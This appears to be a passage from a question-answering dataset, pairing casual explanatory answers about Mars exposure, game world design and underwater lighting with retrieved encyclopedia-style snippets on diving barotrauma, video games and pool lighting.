allow both the sidespin to occur as well as to promote an angular upward lift. Some dimple designs are claimed to" ]

[ "You will be forced to exhale because of the pressure difference and then you have something of a minute to get back in the ship or you will pass out from the lack of oxygen. If you do manage to not exhale, your lungs will burst and will not survive more that a couple of minute even in a pressurized environment.", "You would pass out and quickly [die](_URL_0_)\n\nMartian atmosphere is mainly CO2 (95%), which is toxic already in concentrations of as little as 5% in our oxygen-rich atmosphere. In Mars, oxygen is only present in very, very little amounts (0.1%).\n\nEdit: sorry, sorry, sorry. Read the comment from u/Target880 instead. I explained what would happen if we had Mars atmospheric composition over here on Earth. On Mars pressure is the key issue to kill you.", "NASA actually did a scientific test researching exactly that:\n\n_URL_1_" ]

[ "Mars the deorbit burn will only lower periapsis into the upper layers of the atmosphere, rather than just above the surface as on an airless body. After the deorbit burn is complete the vehicle can either coast until it is nearer to its landing site or continue firing its engine while maintaining zero angle of attack. For a planet with an atmosphere the coast portion of the trip includes reentry through the atmosphere as well.\nAfter the coast and possible reentry the vehicle jettisons any no longer necessary heat shields and/or parachutes in preparation for the final landing burn. If the", "at the surface of Mars. In May 2009, the Spirit rover became stuck when it drove over a patch of soft ferric sulfate that had been hidden under a veneer of normal-looking soil.\nBecause iron sulfate has very little cohesion, the rover's wheels could not gain sufficient traction to pull the body of the rover out of the iron sulfate patch. Multiple techniques were attempted to extricate the rover, but the wheels eventually sank so deeply into the iron sulfate that the body of the rover came to rest on the martian surface, preventing the wheels from exerting any force on", "Mars on foot, Maurice and Bruce are nearly frozen in the cold of night when a dust-storm delays them and injures Bruce. They make fragmentary contact with Yorke, who reports a few hours worth of air. They set out to rescue the others.\nOn the journey, they encounter carnivorous gastropods and pterodactyl-like flying creatures. They witness an attack by one of the gastropods on one of the flying creatures and are able to rescue the latter, nicknaming it \"Horace\". Unable to find the Hermes, they are guided to the ship by \"Horace\" and several others, who exhibit signs of intelligence.\nYorke, Whitton", "allows the air to escape freely from the lungs. Uncontrolled ascent An ascent in which the diver loses control of the ascent rate is an uncontrolled ascent. If the ascent rate is excessive the diver is at risk of decompression sickness and barotrauma of ascent, both of which can be fatal in extreme cases. This can occur in cases of suit blowup, BCD blowup, or loss of diving weights. Surface oriented dives (Bounce dives) Surface supplied divers frequently work heavily weighted, to give them a firm footing while working on the bottom. This makes it difficult or impossible to achieve", "6 metres (20 ft), decompression sickness is not likely to be a problem. However, as the snuba diver is breathing compressed air, there is still a risk of injury or death due to barotrauma, which is a more severe hazard at shallow depths if divers ascend as little as a few feet without venting the expanding air in their lungs. This danger is easily avoided by breathing normally and continuously while ascending. This point is thoroughly covered in snuba pre-dive briefings, and monitored by the dive guide throughout the dive by watching for the continual release of bubbles from each diver.", "10 metres (33 feet) and safely ascend without exhaling, because the gas in the lungs had been inhaled at atmospheric pressure, whereas a diver who inhales at 10 metres and ascends without exhaling has lungs containing twice the amount of gas at atmospheric pressure and is very likely to suffer life-threatening lung damage.\nExplosive decompression of a hyperbaric environment can produce severe barotrauma, followed by severe decompression bubble formation and other related injury. The Byford Dolphin incident is an example. Blast-induced barotrauma An explosive blast and explosive decompression create a pressure wave that can induce barotrauma. The difference in pressure between internal", "the amount of oxygen available. Lowering the CO₂ concentration increases the pH of the blood, thus increasing the time before the respiratory center becomes stimulated, as described above. While hyperventilation will yield slightly longer breath-holding times, any small time increase is at the expense of possible hypoxia. One using this method can suddenly lose consciousness—a shallow water blackout—as a result. If a person loses consciousness underwater, there is considerable danger that they will drown. An alert diving partner would be in the best position to rescue such a person. Static apnea blackout occurs at the surface when a motionless diver", "breathe with depth, leading to increasing risk of hypercapnia—an excess of carbon dioxide in the blood. The need to do decompression stops increases with depth. A diver at 6 metres (20 ft) may be able to dive for many hours without needing to do decompression stops. At depths greater than 40 metres (130 ft), a diver may have only a few minutes at the deepest part of the dive before decompression stops are needed. In the event of an emergency the diver cannot make an immediate ascent to the surface without risking decompression sickness. All of these considerations result in the amount", "data suggested that the rover was not staying in sleep mode. As such, it was wasting its battery energy and overheating – risk factors that could potentially destroy the rover if not fixed soon. On sol 20, the command team sent it the command SHUTDWN_DMT_TIL (\"Shutdown Dammit Until\") to try to cause it to suspend itself until a given time. It seemingly ignored the command.\nThe leading theory at the time was that the rover was stuck in a \"reboot loop\". The rover was programmed to reboot if there was a fault aboard. However, if there was a fault that occurred", "divers as the rescuer makes a controlled ascent. If the casualty is not breathing, the ascent will be urgent. If the two divers separate during the ascent, the use of the casualty's buoyancy is intended as a failsafe causing the casualty to continue to the surface where there is air and other rescuers can help. The rescuer will be negative at this point, but this is generally easily compensated by finning and corrected by inflation of the rescuer's BC. Ascent on bailout gas The diver opens the bailout valve on the helmet, bandmask or harness mounted bailout block. This opens", "diver is so heavy that swimming upwards requires strong exertion, or if the diver is already stressed and short of breath when the air supply is lost. Loss of consciousness during ascent is likely to lead to drowning, particularly if the unconscious diver is negatively buoyant at that point and sinks. On the other hand, a fit diver leaving the bottom with a moderate lungful of air, relatively unstressed, and not overexerted, will usually have sufficient oxygen available to reach the surface conscious by direct swimming ascent with constant exhalation at a reasonable rate of between 9 and 18 metres", "flushes out carbon dioxide in the blood resulting in a dive commencing with an abnormally low carbon dioxide level; a potentially dangerous condition known as hypocapnia. The level of carbon dioxide in the blood after hyperventilation may then be insufficient to trigger the breathing reflex later in the dive and a blackout may occur without warning and before the diver feels any urgent need to breathe. This can occur at any depth and is common in distance breath-hold divers in swimming pools. Hyperventilation is often used by both deep and distance free-divers to flush out carbon dioxide from the lungs", "two caves (which may or may not connect to the network of tunnels). Beyond this, Rover patrols: if anyone ventures too far from town, they will be intercepted and nudged back towards the Village. If anyone attempts to escape, Rover will capture them and they wake up in the Village hospital. Rover has also been shown to kill on two occasions; the exact cause of death is not revealed (the target is \"enveloped\"/suffocated; this happens to the victims in \"Arrival\" and \"The Schizoid Man\"), however, in \"Free for All\", Number Six is attacked in a similar manner, but survives. Customs", "of reasons followed by a compromised airway. In breathhold diving it usually occurs when the diver loses consciousness or reaches a state of hypercapnia severe enough to cause involuntary inhalation before reaching the surface. The airway of a surface supplied diver is usually protected by the helmet or full-face mask, and consequently these divers should survive a loss of consciousness if rescued while a suitable breathing gas supply is available.\nArterial gas embolism requires overextension of lung tissue which can occur on ascent. A sufficient overexpansion of the lungs requires a simultaneous decrease in depth and failure to release gas from", "caused the orbiter to descend too low in Mars's atmosphere. The vehicle either burned up or bounced off into space. Loss of the lander Investigators concluded that the most likely cause of the lander's failure was a spurious sensor signal associated with the craft's legs falsely indicating the craft had touched down when in fact it was some 40 meters above the surface. When the landing legs unfolded they made a bouncing motion that accidentally set off the landing sensors, causing the descent engines to shut down prematurely and the lander to fall. Another possible reason for failure was inadequate", "located at an altitude of around 19.14 km (11.89 mi). At or above the Armstrong line, fluids in the throat and lungs boil away. More specifically, exposed bodily liquids such as saliva, tears, and liquids in the lungs boil away. Hence, at this altitude, human survival requires a pressure suit, or a pressurized capsule.\nOut in space, sudden exposure of an unprotected human to very low pressure, such as during a rapid decompression, can cause pulmonary barotrauma—a rupture of the lungs, due to the large pressure differential between inside and outside the chest. Even if the subject's airway is fully open, the flow", "into the groundwater supply. Helped by a spell of unseasonably dry weather, these efforts reduced water levels by 1.5 centimetres (0.6 in) per hour on 5 July, enabling rescue teams to walk 1.5 kilometres (0.93 mi) into the cave. However, heavy rains forecast for 8 July were expected to halt or reverse this process and could even flood the position where the team were trapped.\nOn 6 July, the oxygen level in the cave was detected to have dropped, raising fears that the boys might develop hypoxia if they remained for a prolonged time. By 8 July the oxygen level was", "year.\nHis second EVA on July 16, 2013 was terminated after only 1 hour and 32 minutes, when the helmet of his Extravehicular Mobility Unit suit started filling with water. Water in his helmet posed the danger of drowning and made his return to the airlock even more difficult, as Orbital Sunset had occurred just before he started to return. Engineers found that contamination had clogged one of the suit's filters, causing water from the suit's cooling system to back up. On January 15, 2016, astronaut Timothy Kopra experienced a water leak in the same spacesuit. Parmitano returned to Earth", "11:30 a.m. on September 25 the three aquanauts surfaced; Wendler was hampered by gear he was carrying. It was later theorized by Captain George F. Bond, the \"Father of Saturation Diving\", who was participating in the project, that Wendler may have been lifted ten feet or more by a passing swell just after taking a deep breath. The change in pressure would have allowed bubbles from his lungs to enter his circulatory system. In the final 15 feet before reaching the surface, Wendler suffered a massive gas embolism.\nHaving reached the surface, Wendler clung to a buoy and waved for help. He", "Barney confined under arrest with the threat of court martial, but cooler heads prevail; Barney becomes the ranking officer.\nMars proves to be inhospitable, and they struggle to survive with their decreased water supply. Earth's correct orbital position for a return trip is one year away. While glumly celebrating their first Christmas on Mars, a sudden snowstorm blows in, allowing them to replenish their water supply. As their launch window arrives, they hear low rumbling sounds, then see rocks falling, and feel the ground shake violently. The ground level shifts during this violent marsquake. Their spaceship is now leaning at a", "intentional saturation dive was done on 22 December 1938, by Edgar End and Max Nohl who spent 27 hours breathing air at 101 feet (30.8 m) in the County Emergency Hospital recompression facility in Milwaukee, Wisconsin. Their decompression lasted five hours leaving Nohl with a mild case of decompression sickness that resolved with recompression.\nAlbert R. Behnke proposed exposing divers to raised ambient pressures long enough for the tissues to saturate with inert gases in 1942. In 1957, George F. Bond began the Genesis project at the Naval Submarine Medical Research Laboratory proving that humans could withstand prolonged exposure to different breathing", "of lung over-pressure injury, and the airway should be secured if possible to prevent aspiration. The mask is adequate protection of the nasal passages if in place, and a hand can be used to cover the mouth and hold it closed.\nOnce surfaced, ensure an open airway. The mask may be removed at this point. The diver may spontaneously resume breathing. Typical response time after shallow dives is 3 to 10 seconds, increasing to 10 to 30 seconds for deep dives. If the diver starts breathing and regains consciousness spontaneously, they should be continuously monitored until out of the water.\nIf the", "during the exit from a dive aborted after main gas hose failure as it allows the emergency gas supply to be conserved in case of a further failure. Dealing with vomiting in the helmet There is a risk of aspiration of vomit trapped in the helmet air passages, with possibly fatal consequences. This problem is greatest in helmets and full-face masks with internal oro-nasal masks, where it will pass into the demand valve, and that which does not exit through the exhaust ports, will be an aspiration hazard unless flushed out before the next inhalation. A different problem occurs in", "rushing up his nose and his eyes swelling up. Actors played their scenes at 33 feet (11 m), too shallow a depth for them to need decompression, and rarely stayed down for more than an hour at a time. Cameron and the 26-person underwater diving crew sank to 50 feet (17 m) and stayed down for five hours at a time. To avoid decompression sickness, they would have to hang from hoses halfway up the tank for as long as two hours, breathing pure oxygen.\nThe cast and crew endured over six months of grueling six-day, 70-hour weeks on an isolated", "seizure, which can result in the diver spitting out their regulator and drowning. While the exact limit is not reliably predictable, it is generally recognised that central nervous system oxygen toxicity is preventable if one does not exceed an oxygen partial pressure of 1.4 bar. For deep dives – generally past 180 feet (55 m), divers use \"hypoxic blends\" containing a lower percentage of oxygen than atmospheric air. A less immediately threatening form known as pulmonary oxygen toxicity occurs after exposures to lower oxygen partial pressures for much longer periods than generally encountered in scuba diving. High pressure nervous syndrome High-pressure", "surface as soon as practicable. Although for many years the recommendation has been not to raise the diver during the seizure itself, owing to the danger of arterial gas embolism (AGE), there is some evidence that the glottis does not fully obstruct the airway. This has led to the current recommendation by the Diving Committee of the Undersea and Hyperbaric Medical Society that a diver should be raised during the seizure's clonic (convulsive) phase if the regulator is not in the diver's mouth – as the danger of drowning is then greater than that of AGE – but the ascent should be", "Although in-water recompression is regarded as risky, and to be avoided, there is increasing evidence that technical divers who surface and demonstrate mild DCS symptoms may often get back into the water and breathe pure oxygen at a depth 20 feet/6 meters for a period of time to seek to alleviate the symptoms. This trend is noted in paragraph 3.6.5 of DAN's 2008 accident report. The report also notes that whilst the reported incidents showed very little success, \"[w]e must recognize that these calls were mostly because the attempted IWR failed. In case the IWR were successful,", "the Mars landing approach, he attempts to crash their spaceship, now convinced the mission violates the laws of God. Barney wrests control away from his father, landing the large flying wing glider-rocket safely. Later, as the crew takes their first steps on the Red Planet, they look up and see water pouring down from the now vertical return rocket. Barney quickly discovers the leak is sabotage caused by his father, who threatens his son with a .45 automatic. The two struggle and the pistol discharges, killing the general. Sgt. Mahoney, who observed only the last stages of the struggle, wants", "chief mate, 59-year-old Robert M. \"Bob\" Cusick, was trapped under the deckhouse as the ship went down. His snorkeling experience helped him avoid panic and swim to the surface, but he had to spend the night alone, up to his neck in water, clinging to a partially deflated lifeboat, and in water barely above freezing and air much colder. Huge waves washed over him, and each time he was not sure that he would ever reach the surface again to breathe. Battling hypothermia, he was tempted to allow himself to fall unconscious and let go of the lifeboat.", "per minute from recreational diving depths (30 m or less), provided his or her buoyancy is close to neutral at the bottom. Decompression sickness The risk of decompression sickness during an emergency ascent is probably no greater than the risk during a normal ascent at the same ascent rate after the same dive profile. In effect, the same ascent rate and decompression profile should be applied in an emergency ascent as in a normal ascent, and if there is a decompression requirement in the planned dive, steps should be taken to mitigate the risk if having to make an ascent without" ]

[ "There are (in general) two main ways such games are made.\n\n\n1) Pre-made maps\n\nIn this case, the maps are designed by a group of people who usually (re)use blueprints and \"tweak\" them to make it look like a whole new area. For example, all dungeons in one part of the game world can be created from the same blueprint, and then just changing the rooms layout and distribution of enemies will make it look like a new dungeon.\nThis allows game designers much more control over how things are going to play out and where each object/NPC will be located.\n\n\n2) Procedurally generated worlds\n\nSuch games (Elder Scrolls, Minecraft) employ a similar concept of \"blueprints\" but those are now procedures in the game's code that based on some input parameters generate the look of a part of the world. The most important part of such procedures is the \"seed\" or the initial parameter state. The idea is that a different seed (usually computed based on the internal computer clock) should generate a different world, while the same seed must always result in an identical world.\n\n\nA follow-up question to your one could be how are them games saved, and why are save files (relatively) small when you take into account the size of the world.\n\nThe answer to this is that save files contain only a limited amount of information about the world. In general, it's only information on objects you have interacted with, or anything that's different from the default state of the world (regardless of how it's generated). In addition, some parts of the game worlds (dungeons) usually reset themselves after some time, further reducing the size of the save file.", "Yup, just large teams working on modeling. If you divide a huge world like Skyrim into small segments, or parts of them (plants, rocks, terrain, weather, etc.) you can put a few dozen people working on it for like 4 years and get a huge world going. One guy works on modeling plants and placing them. Another guy works on making rocks and placing them. A few other guys mould the terrain to create mountains, hills, obstacles, rivers, etc. You get the picture.\n\nOne trick is also re-using elements, such as dungeon walls, buildings, and landmarks. Ever notice how in skyrim you'll find identical rooms or buildings occasionally? It's because the developers are saving space by just re-using old assets.\n\nIn general though, it's just lots of time, lots of effort, and lots of people. The only way to make these kinds of worlds in a low budget indie game is through procedural generation, but part of the reason Skyrim, Fallout, etc. are great games is because everything is hand-crafted. It's much harder to do that with procedural generation (to see examples of this, think of how much more detailed and photogenic the terrain of skyrim is compared to your average random Minecraft or Dwarf Fortress map).", "Sometimes it's all designed by a person, sometimes it's generated by algorithms, sometimes it's a mix of both.\n\nMinecraft worlds are procedurally generated. There's an algorithm that generates them based on an initial \"seed\" value.\n\nThe first two elder scrolls games worked in a similar way. The world in Elder Scrolls: Daggerfall was about the size of Great Britain. It was huge, but it was almost all automatically generated.\n\nStarting with Morrowind, they started designing manually. However they probably do use tools to help them, and then add detail. I suspect they use terrain generation tools to create the initial landmass. Then add the towns and other locations on top of that, tweaking the terrain when necessary.\n\nThey do reuse a lot of assets when making dungeons. If you look around in Skyrim you'll notice that there's only few different themes for dungeons, and most of the scenery is the same just resized and rotated.", "skyrim and GTA are a pre-generated open world game. that means the entire map was designed by people.\n\nminecraft are a procedural software generated worlds. they only thing that determines the entire world is the seed number. rest of it comes down to procedural algorithms." ]

[ "a previously unseen tool appears. Only the first ten are required to enter the next area. The other five are much more difficult and are there to add replay value. Worlds There are four worlds in Toki Tori: Forest Falls, Creepy Castle, Slime Sewers (Slime Caves in the Game Boy Color version) and Bubble Barrage. The worlds become progressively more challenging as the player progresses through them, with later levels usually only having one specific way of collecting all the eggs. The most obvious difference in the worlds and their unique enemies is simply cosmetics. Enemies all behave in", "sent to START for learning more about the game.\nPlayers can visit other people's worlds or create their own worlds. When a player creates a new world, the world will be procedurally generated. Worlds in Growtopia have the same size, except special worlds (such as TINY). Players can break and build blocks, get seeds or gems from blocks, plant seeds, and harvest trees. Players cannot do these activities if the world or the area they are punching is locked by someone else.\nPlayers can lock areas they want by using different sizes of locks: Small Lock, Big Lock, Huge Lock, and World", "worlds introduced are entirely new, including: La Cité des Cloches (based on The Hunchback of Notre Dame); the Grid (Tron: Legacy); Prankster's Paradise (Pinocchio), which also includes the inside of Monstro's belly from previous games; the Country of the Musketeers (Mickey, Donald, Goofy: The Three Musketeers); and the Symphony of Sorcery (Fantasia). The other two worlds, Traverse Town and the World That Never Was, are original to the series and have both been featured in previous games. In addition, the game's opening tutorial is set on the Destiny Islands, another original world. Characters The game features Sora and Riku", "a large world without open, empty spaces, and condensed Southern California's countryside into a diverse and detailed playing space. The game world covers 49 square miles (130 km²)—about an eightieth of Los Angeles County. Its scale is greater than Rockstar's previous open world games; Garbut estimated it is large enough to fit San Andreas, Grand Theft Auto IV and Red Dead Redemption's worlds combined inside. To accommodate the world's size, the team overhauled the RAGE to improve its draw distance rendering capabilities. The large, open space permitted the re-introduction of fixed-wing aircraft, omitted from Grand Theft Auto IV because of its", "the objective of the stage. Super Mario 64 is an example where the main stages are free roam, while the levels where Bowser is encountered follow a straight path to the end. Open worlds and sandbox modes When a level is sufficiently large and open-ended, it may be described as an open world, or \"sandbox game\", though this term is often used incorrectly. Open-world game designs have existed in some form since the 1980s, such as the space trading game Elite, and often make use of procedurally generated environments. \nIn a game with a sandbox mode, a player may turn", "six worlds in this game, and each one has three areas (so there are a total of eighteen \"stages\" to play through).", "Ultima Online, where in the story, the shards of Mondain's gem created the duplicate worlds.\nStill others will only use one part of the universe at any time. For example, Tribes (which is not an MMOG) comes with a number of large maps, which are played in rotation (one at a time). In contrast, the similar title PlanetSide allows all map-like areas of the game to be reached via flying, driving, or teleporting.\nMMORPGs usually have sharded universes, as they provide the most flexible solution to the server load problem, but not always. For example, the space simulation Eve", "The Worlds The game features numerous planets for the GM to use as a setting for his party's adventures, and since quite a number of maps depicting formerly charted space have been lost, new ones can be added as one wills it.\nIn-game they are called worlds, as the term (and name) Planet is reserved for a single world, which is also considered to be the centre of the universe. The Void (Pustka) In-between the worlds players find what is called the Void. The Void however is anything but empty. Most notably it contains a breathable atmosphere, and is a habitat", "BigWorld Technical overview BigWorld Technology provides an underlying software architecture needed for game developers to build MMO's and online games. The 3D client technology is built for Windows PC and browser, and is available on iOS, Xbox 360 and PlayStation 3 via network API. The back-end server solution is implemented under Linux, with a Python API scripting environment. The tool suite includes content creation tools, server monitoring tools and support. BigWorld Technology also integrates various third party plugins such as Umbra (occlusion culling), Scaleform (user interface creation), Speedtree (foliage ), and Vivox (VOIP). Games Published games using BigWorld Technology include", "Hidden World does not have a tie-in game based on its plot. Instead, there are two games set before the events of the film, which are the top-down action adventure game DreamWorks Dragons: Dawn of New Riders available on consoles and personal computers (Nintendo Switch, PlayStation 4, Xbox One and Microsoft Windows) and the match-3 game Dragons: Titan Uprising for mobile devices (iOS and Android). Both games play as RPGs, and the latter is free-to-play, while offering in-app purchases. Box office How to Train Your Dragon: The Hidden World grossed $160.8 million in the United States and Canada,", "world by collecting three of the Star items - allowing access to 2 secret worlds, themed around Bubble Bobble and Chack'n Pop that are not initially visible on the main screen. Completing these two lead to the final boss, Chaostikhan (the one responsible for stealing color from the worlds, and supposedly the mastermind behind the previous game's villains) and the true ending. According to an ACE magazine in-depth preview, the Amiga version also has a secret \"Nightmare\" world.\nThe player is armed with a parasol. While it is normally closed, the player can deploy it in two ways; either open in", "Outer Worlds, a single player action role-playing video game set in an alternate future in which megacorporations began colonizing and terraforming alien planets. The game is set to be released cross-platform in 2019 on Xbox One, Microsoft Windows, PlayStation 4 and Nintendo Switch. Philosophy Obsidian built its reputation making sequels in well-established franchises including Star Wars: Knights of the Old Republic, Neverwinter Nights, Fallout, and Dungeon Siege. Urquhart has stated that the company is fine with developing sequels, as they are often fun to make since the studio can \"get to go play in someone else's world\" and further explore", "and worlds made out of wool and Kirby's Epic Yarn with its yarn-based themes. The game was built using Unreal Engine 4. In June 2018, Nintendo confirmed that the game was delayed and would be released in 2019. In January 2019, Nintendo announced in a standalone tweet that Yoshi's Crafted World would release on March 29, 2019. In the final game, it appears as though the ability to \"flip\" the world has been overhauled since its reveal, as overall emphasis on the mechanic has been lowered dramatically. Certain auxiliary mechanics shown off at the reveal, such as the ability to", "can move freely around the world. Players can \"mine\" blocks and then place them elsewhere, enabling them to build things.\nThe game world is virtually infinite and procedurally generated as players explore it, using a map seed that is obtained from the system clock at the time of world creation (or manually specified by the player). There are limits on vertical movement, but Minecraft allows an infinitely large game world to be generated on the horizontal plane. Due to technical problems when extremely distant locations are reached, however, there is a barrier preventing players from traversing to locations beyond 30,000,000 blocks", "Worlds Beyond (role-playing game) Worlds Beyond is a role-playing game published by Other World Games in 1990. Description Worlds Beyond is a science-fiction space-adventure system in which the player characters can be human or alien (three alien races are available). Character creation rules are skill-based. Rules cover generation of planets, spaceships, and robots. Six sample spaceships are described, with deck plans. Over 20 worlds are described as a campaign background. Publication history Worlds Beyond was designed by Frank S. Shewmake with Steve Douglas, Douglas Laedtke, John Damon Lavette, Leigh Skilling, and Gary Warth, with a cover by Frank Lurz, and", "there are more than 25 billion possible game worlds. Moreover, each game world is identified with an alphabetic code which may be entered when starting a new game, allowing players to replay favorite level designs or compete for high scores on identical worlds. However, non-boss enemies do not appear in set locations, and continuously respawn in randomly determined locations. Critical reception On release, Famicom Tsūshin scored Virtual Hydlide a 27 out of 40. A critic for Next Generation gave it two out of five stars, saying that the game is \"visually stunning\" with its over-the-shoulder viewpoint and fully 3D environments,", "Two Worlds (video game) Gameplay The game takes place in a real-time three-dimensional fantasy landscape. As such it has drawn comparison with The Elder Scrolls IV: Oblivion. Much like in Oblivion and Gothic 3, the gameplay is non-linear. The player is free to explore the game world, accepting side quests at will. There is however, a core quest, centering on rescuing the protagonist's sister, who is being held for ransom by mysterious forces who are scheming to open the tomb of Aziraal, the god of fire.\nThe game does not utilize fixed character classes like other role-playing games. As the character", "same number of worlds in each game and made an effort to minimize any overlap in the overall look and feel of each world. He and his staff accomplished this by categorizing various Disney worlds by appearance and setting. For example, a world based on The Jungle Book was considered for the first game, but was omitted due to its similarity to Deep Jungle from Tarzan. They also tried to take into account worlds with Disney characters that would be interesting. For example, Nomura chose to include a Mulan world for its unique atmosphere. The Tron world's design was meant", "The ability to modify the game world is built around the basis of 25 centimetres (0.82 ft) voxels, providing it its sandbox nature from a physical point of view. Players may also craft and manipulate anything in its world, from small objects such as weapons to cities and comparably large structures. Players may also construct space stations, which can extend as large as the expanse of an entire planet.\nThe game's autonomous systems (such as engines or computer consoles) rely on energy consumption and the interconnection among machinery, and may be scripted by players using the Lua programming language. Players will also", "and 26. Small World was released in March 2009 in English, German and French editions. Dutch, Spanish and Japanese editions followed in June 2009. Small World has also been released on iOS for iPad and Android. There are many games like Small World that have come out or have yet to come out such as Risk or Rivals of the Dark Age. Small World for iPad In 2010, Days of Wonder released a touch-based digital version of the basic game for two players. It was their first tablet adaptation of a tabletop board game, and the first contemporary board", "This entails no separate servers, loading screens or instances, such as with other MMOs. It utilizes the Unigine 2 64-bit rendering engine.\nDual Universe offers the potential of virtually unlimited procedurally generated planets, provided by Novaquark's in-house engine.\nThe game world has been described as being designed to be a \"wide-open, fully-moddable experience\" to be shared by all its players in a simultaneous manner. There will reportedly be no NPC characters or AI creatures so it will be up to PVP to supply the action for players. As a sandbox game, players are able to alter the game world in", "to other sandbox games, such as the Grand Theft Auto series, with a large number of interactable NPCs, large amount of content and typically some of the largest worlds to explore and longest play-times of all RPGs due to an impressive amount of secondary content not critical to the game's main storyline. Sandbox RPGs often attempt to emulate an entire region of their setting. Popular examples of this subgenre include the Dragon Slayer series by Nihon Falcom, the early Dragon Quest games by Chunsoft, The Legend of Zelda by Nintendo, Wasteland by Interplay Entertainment, the SaGa and Mana series by", "series of games, Ursula K. Le Guin's Earthsea and Gethen, the Subcontinent of Hayao Miyazaki's Nausicaä of the Valley of the Wind, and Arda, the location of J. R. R. Tolkien's Middle-earth, in The Lord of the Rings.\nConstructed worlds are not always limited to one type of story. Lawrence Watt-Evans and Steven Brust created Ethshar and Dragaera, respectively, for role-playing games before using them as settings for novels. M. A. R. Barker originally designed Tékumel well before the advent of role-playing games, but many gamers, including Barker himself, have used it as a setting for such games.\nA shared universe", "Disney Universe Gameplay The game is a 3D Platform game similar to games such as Super Mario 64, Super Mario Galaxy, Super Mario Galaxy 2, Donkey Kong 64, Sonic Adventure, Sonic Adventure 2, Shadow The Hedgehog, and Sonic Unleashed.\nUp to four friends can connect through local multiplayer and play through 6 different worlds to defeat enemies, and collect powerups and coins. One unique feature is that the enemies actively try to hinder a player's progress by setting up traps or hiding key items.\nThe two main attractions of the game are the levels and the costumes. Players travel to 6 worlds", "of power\" for past Keyblade wielders, where the game's final battle takes place. Returning Disney worlds include tutorial stage Olympus (Hercules), the Caribbean (Pirates of the Caribbean), the 100 Acre Wood (Winnie the Pooh), while original worlds include Twilight Town, the Dark World, the Land of Departure, and the Keyblade Graveyard. Worlds such as Yen Sid's Mysterious Tower, Radiant Garden, Disney Castle, and the Destiny Islands appear exclusively via cutscenes. The \"Classic Kingdom\" mini-games are inspired by classic Walt Disney Productions Mickey Mouse cartoons, including Giantland, The Karnival Kid, Musical Farmer, The Barnyard Battle, The Klondike Kid, and Mickey's Mechanical", "Worlds also vary in themes, featuring pirate ships, factories, a circus, graveyards and outer space.\nLevels contain fruit that can be eaten for bonus points, alongside letters that spell out \"PACMAN\" — collecting all of these letters in a level will unlock a secret bonus stage. Some levels will have Pac-Man needing to retrieve a key to rescue one of his captive friends, which is required to progress through the game. Galaxian flagships can be found in certain levels that allow Pac-Man to access a 3D maze themed after the world he is in. These mazes play similarly to the original", "Crystal Caverns (video game) Contents Crystal Caverns is a treasure-hunt game which contains a mansion to explore, woods to wander in and tunnels to traverse. Reception Kelly Grimes reviewed Crystal Caverns in Space Gamer No. 64. Grimes commented that \"It is a nice change of pace from hack-and-slash or space shoot-em-ups, but it is not worth the price.\" In Softalk, Roe Adams commented that the game is \"written primarily for intermediate level adventurers\" and concluded that it \"offers several hours of enjoyable fun and thought.\" In The Book of Adventure Games, Kim Schuette commented on the \"imagininatively written, highly descriptive", "player for resources. These spawn points will appear randomly throughout the game.\nEach game world is made up of multiple maps. All players begin within the same standard world known as Ardania made up of woodlands, deserts and arctic plains and seas and is traditionally the largest of all maps. Neutral portals however are found across Ardania that allow players to move units between dimensions known as Underworlds, opening up new maps. Players can settle within these worlds, allowing access to further unique tiles for resources, loot and potential access to some of the more powerful units of the game such", "games of all kinds. Big Games are large, multi-player games played outside and involving physical activity, and range to include technology, tactics, and personal interaction. Big Games are curated by on-site docents, and presents projects such as Ninja (a turn based game of tag), Reality (an Alternate Reality game), and Meatspace Invasion (a mixed virtual/real-world tag/shooting style game). It is free and open to the public.\nThe Night Games are an evening event centered on showing and playing multiple games. These games can be single player experiences played on a giant screen in front of an audience (superHYPERCUBE); multiplayer games", "was able to achieve lasting success. One of the reasons for its success may have been the game's design, in which all subscribers play in one shared universe as a result the natural partitioning of the game universe into solar systems connected by stargates. This partitioning allows the world to be divided up in such a way that one or more solar systems run on different servers, while still maintaining a single coherent world.\nIn June 2003, The Walt Disney Company launched its first MMORPG, Toontown Online, for open release. Unlike a lot of other first and second generation MMOs" ]

[ "The electricity doesn't go into the water to make light. It goes into a light source. The light source is then shielded from the water by thick glass so the electricity never reaches the water.", "There can be a sealed bulb and low voltage. 12 volts will power a sealed bulb (similar to an old style car headlamp) and is completely waterproof. 12 volts won't shock anyone, and the path through the bulb is easier than the path through the water, so the water doesn't really affect it.", "You can think of voltage as the shove electricity gets to push it down wires or through water or whatever. Water requires more of a shove to cross than copper wiring so as long as the lamps work on a low voltage they could be immersed in water and not electrocute anyone." ]

[ "swimming will often have either coloured or mirrored lenses, because without this light reflecting of the waters surface will dazzle or blind swimmers not allowing them to see where they are swimming. Disallowed aids Any artificial propulsion device, such as fins, paddles or swim socks as well as any flotation device except a wetsuit, is prohibited. Headphones or any in ear device such as a tempo timer. Snorkels used to be a grey area with many national federations including that of Canada, Australia and the USA as well as the sports governing body the ITU not specifically disallowing snorkels. However", "periods of time on a battery, thus compromising convenient portability. While LEDs and fluorescent lights draw much less electrical energy, most are not very bright. Further, many of the above lights cannot be submerged in water without risk of electrical shock or damage to the light system. Types Fishing lights fall into two different groups: those that are portable and those that are permanently mounted. Generally, portable lights are powered by batteries and this sets practical limits to the kind of light that can be used. Most portable light sources are relatively low in light intensity and have short operating", "back to the pool. The water may need chlorination or anti-algal treatment, or may use biological methods to filter and clean water.\nThe pumps, filter, electrical switch box and plumbing controls are often housed in a \"plant room\".\nLow-voltage lighting, typically 12 volt direct current, is used to minimise electrical hazards. Lighting is often submerged and must be suitably designed. High wattage lighting (incandescent and halogen) either as submerged lighting or accent lighting on waterwall fountains have been implicated in every documented Legionnaires' disease outbreak associated with fountains. This is detailed in the \"Guidelines for Control of Legionella in Ornamental Features\".\nFloating fountains", "used in swimming pools is easier to handle than chlorine gas. It dissolves slowly in water, but as it reacts, cyanuric acid concentration in the pool will build-up.", "to drainage and automatic pool covers, there are a number of ways to remove humidity in the air that is present with any wet indoor environment. Efficient dehumidification in the indoor pool environment prevents structural damage, lowers energy costs in addition to improving the room's climate to make it a comfortable swimming environment. Other uses Swimming pools are also used for events such as synchronized swimming, water polo, canoe polo and underwater sports such as underwater hockey, underwater rugby, finswimming and sport diving as well as for teaching diving, lifesaving and scuba diving techniques. They have also been used for", "be done professionally as the high voltages that power these lamps can be lethal. Commercially made, submersible fishing lights are available on the internet. The power ballast and lamp housing is mounted on a pole in a dry location. The lamp, potted in a waterproof housing, is connected to the ballast via a waterproof cable. Floating like a fishing line bob, the lamp is positioned underwater by weights on its submerged power supply cord. The bulb is fragile so some manufacturers offer protective covers and hard lenses. However, one unique feature of a 